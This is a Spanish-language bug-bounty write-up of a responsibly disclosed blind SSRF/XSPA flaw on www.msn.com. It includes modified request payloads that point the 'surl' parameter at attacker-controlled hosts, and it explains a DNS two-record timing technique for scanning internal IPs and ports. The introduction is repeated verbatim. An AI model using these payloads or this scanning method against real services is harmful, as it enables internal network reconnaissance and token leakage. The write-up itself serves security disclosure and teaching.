Server-Side Request Forgery (SSRF) es una vulnerabilidad que ha ido ganando mayor popularidad entre las nuevas tecnologías web. En el 2020 hay más de 60 CVEs asignados a esta vulnerabilidad. En este post se explicará a detalle un Blind SSRF encontrado en www.msn.com.

Conocimiento Base para comprender la vulnerabilidad:

¿Qué es Server-Request Forgery?

Server-Side Request Forgery es un tipo de vulnerabilidad que permite forzar a una aplicación a generar peticiones HTTP a un sitio web controlado por el atacante. En un SSRF clásico, el atacante envía una petición especial al servidor vulnerable, el servidor visita el link controlado por el atacante y este puede obtener información privilegiada como un archivo o un token.

Server-Side Request Forgery (SSRF) es una vulnerabilidad que ha ido ganando mayor popularidad entre las nuevas tecnologías web. En el 2020 hay más de 60 CVEs asignados a esta vulnerabilidad. En este post se explicará a detalle un Blind SSRF encontrado en www.msn.com.

Conocimiento Base para comprender la vulnerabilidad:

¿Qué es Server-Request Forgery?

Server-Side Request Forgery es un tipo de vulnerabilidad que permite forzar a una aplicación a generar peticiones HTTP a un sitio web controlado por el atacante. En un SSRF clásico, el atacante envía una petición especial al servidor vulnerable, el servidor visita el link controlado por el atacante y este puede obtener información privilegiada como un archivo o un token.

Imagen 1 – Ejemplo SSRF Clásico

En la imagen 1, se puede ver una aplicación que mediante un Json le especifica 2 valores al servidor. Un archivo local o de configuración en la variable path y la variable response que es el endpoint donde llegará el valor de path.

Explotación:

Como se puede observar en este ejemplo, el atacante tiene un SSRF en el cual puede controlar el archivo que quiere obtener del sistema (path) y el endpoint donde quiere escuchar la respuesta (response). El atacante en la petición debe ingresar un dominio controlado por él y la respuesta llegaría con el contenido de path a su puerto 80 o 443.

Server-Side Request Forgery a ciegas:

Existen escenarios más complejos donde la vulnerabilidad no es tan perfecta como en el escenario antes mencionado. ¿Qué pasa si solo tuviese la variable response? ¿Qué ocurre cuando se puede forzar la aplicación a generar una petición HTTP, pero no hay una variable para obtener un archivo local? ¿Qué tipo de ataque podría generar en ese caso?

Blind SSRF [XSPA] en www.msn.com:

Introducción:

Cross Site Port Attack (XSPA) es una vulnerabilidad que permite a los atacantes obtener el estado de los puertos TCP, en ocasiones tomar banners de los servicios, a través de Internet o sistemas internos al abusar de una función que realiza solicitudes HTTP utilizando URLs controladas por el atacante.

Primeros hallazgos:

Al visitar www.msn.com, se pudo visualizar un request con los siguientes valores enviados por post. (la petición tiene valores cambiados con el propósito de hacer el post más didáctico).

‘Data’:’{\’surl\’:\’http://external-microsoft-

server.com/\’,\’cc\’[\’BB19j9yX\’,\’BB19iQtV\’,\’BB19jd0J\’,\’BB19ik5C\’,\’BB19iPyl\’,\’BB19iRQ3\’,\’BB19hz2h\’,\’BB19h56d\’,\’BB19gWGJ\’,\’BB19gRAM\’,\’BB19gDOw\’,\’BB19gCBu\’,\’BB19g3SY\’],\’exclcss\’:[54702371,-1917159379,1610284228,1695086248],\’excljs\’:[54702371,-1917159379,1695086248,246664348,-1186611808,-2126990898],\’rcc\’:63,\’p\’:2,\’pvid\’:\’41059c0f7a574399a8ec60680b4acabe\’}’}

Burp Suite, cuenta con un ayudante en su versión PRO, Burp Collaborator. Básicamente lo que hace es generar un subdominio y escucha en distintos puertos para recibir peticiones.

Burp Collaborator recibiendo peticiones

También existen otras aplicaciones gratuitas con funcionalidades similares como ngrok o se puede usar un servidor propio. Usando el link generado por collaborator, se modificó la petición y se envió:

‘Data’:’’:’{\’surl\’:\’http://xxxxxx.burpcollaborator.net/\’,\’cc\’[\’BB19j9yX\’,\’BB19iQtV\’,\’BB19jd0J\’,\’BB19ik5C\’,\’BB19iPyl\’,\’BB19iRQ3\’,\’BB19hz2h\’,\’BB19h56d\’,\’BB19gWGJ\’,\’BB19gRAM\’,\’BB19gDOw\’,\’BB19gCBu\’,\’BB19g3SY\’],\’exclcss\’:[54702371,-1917159379,1610284228,1695086248],\’excljs\’:[54702371,-1917159379,1695086248,246664348,-1186611808,-2126990898],\’rcc\’:63,\’p\’:2,\’pvid\’:\’41059c0f7a574399a8ec60680b4acabe\’}’}

En este punto, se pudo confirmar que existía un Blind SSRF, el collaborator había recibido una petición del servidor de Microsoft. Para hacer pruebas mas exactas, se utilizó un servidor propio y se reenvió la petición especificando un puerto, de la siguiente manera:

‘Data’:’’:’{\’surl\’:\’http://reciever.deepsecurity.pe/\’,\’cc\’[\’BB19j9yX\’,\’BB19iQtV\’,\’BB19jd0J\’,\’BB19ik5C\’,\’BB19iPyl\’,\’BB19iRQ3\’,\’BB19hz2h\’,\’BB19h56d\’,\’BB19gWGJ\’,\’BB19gRAM\’,\’BB19gDOw\’,\’BB19gCBu\’,\’BB19g3SY\’],\’exclcss\’:[54702371,-1917159379,1610284228,1695086248],\’excljs\’:[54702371,-1917159379,1695086248,246664348,-1186611808,-2126990898],\’rcc\’:63,\’p\’:2,\’pvid\’:\’41059c0f7a574399a8ec60680b4acabe\’}’}

Request recibida desde Microsoft (Se han eliminado datos)

De esta petición, se obtuvo la IP del servidor de Microsoft, un dominio de producción, un Authtoken y algunos valores que afectan la confidencialidad de la información de Microsoft.

El problema:

Se ha identificado una aplicación de Microsoft que genera peticiones a un servidor web que se le especifique ¿cómo se puede aumentar el riesgo de este escenario?

Weaponizing – XSPA, Timing y DNS:

Para realizar un escaneo de IPs a la LAN de Microsoft, se utilizó el tiempo que se demora el cliente HTTP en resolver un dominio.

Como se puede observar en la imagen previa, se configuró un dominio con 2 registros A. Uno resolviendo (DNS) a IP local aleatoria y otro registro resolviendo (DNS) a un servidor controlado por nosotros. El orden de los registros es importante.

La mayoría de los clientes HTTP cuando hacen una petición a un dominio, y este dominio tiene 2 registros A, primero intenta resolver usando el primer registro, si no la encuentra o no se puede conectar, se conecta a la segunda. Siguiendo esta lógica, se podría saber que IP está activa en la LAN.

Prueba 1:

Attacker.com (A) → 10.0.0.1

Attacker.com (A) → 200.x.x.x

surl: http://attacker.com

Tiempo en llegar a 200.x.x.x: 1 Segundo

Attacker.com (A) → 10.0.0.2

Attacker.com (A) → 200.x.x.x

surl: http://attacker.com:445

Tiempo en llegar a 200.x.x.x: 1 Segundo

Attacker.com (A) → 10.0.0.XX

Attacker.com (A) → 200.x.x.x

surl: http://attacker.com:443

Tiempo en llegar a 200.x.x.x: N/A

Attacker.com (A) → 10.0.0.10

Attacker.com (A) → 200.x.x.x

surl: http://attacker.com:445

Tiempo en llegar a 200.x.x.x: 15 Segundos

Conclusiones:

La prueba 1 y 2, demuestran que el cliente intentaba pedir primero la IP local en el puerto 80; sin embargo, al no ser una IP/Puerto activo, automáticamente era reenviado a nuestro servidor Web. En la prueba 3, la conexión nunca llegó. En ese sentido, se puede confirmar la IP local de Microsoft, 10.0.0.XX en el puerto 443, tiene un servicio corriendo. En la prueba 4, se pudo confirmar que la IP estaba activa, pero en el puerto 445, no existía servicio corriendo.

Microsoft confirmó la vulnerabilidad y la calificó como Importante, lo cual es equivalente a Alto en su sistema de calificación. Microsoft me añadió (Camilo Galdos – DeepSecurity) a la lista de reconocimientos de setiembre 2020 por esta vulnerabilidad; sin embargo, el dominio msn.com no es parte del scope para Bug Bounty.



Línea de tiempo de reporte responsable:
Set 22: Vulnerabilidad encontrada.
Set 23: Reportada a Microsoft.
Set 29: Microsoft confirma la vulnerabilidad.
Oct 1: Microsoft confirma el fix para la vulnerabilidad.
Oct 19: Microsoft publica el reconocimiento en su web.
Oct 23: Publicación del Write-Up.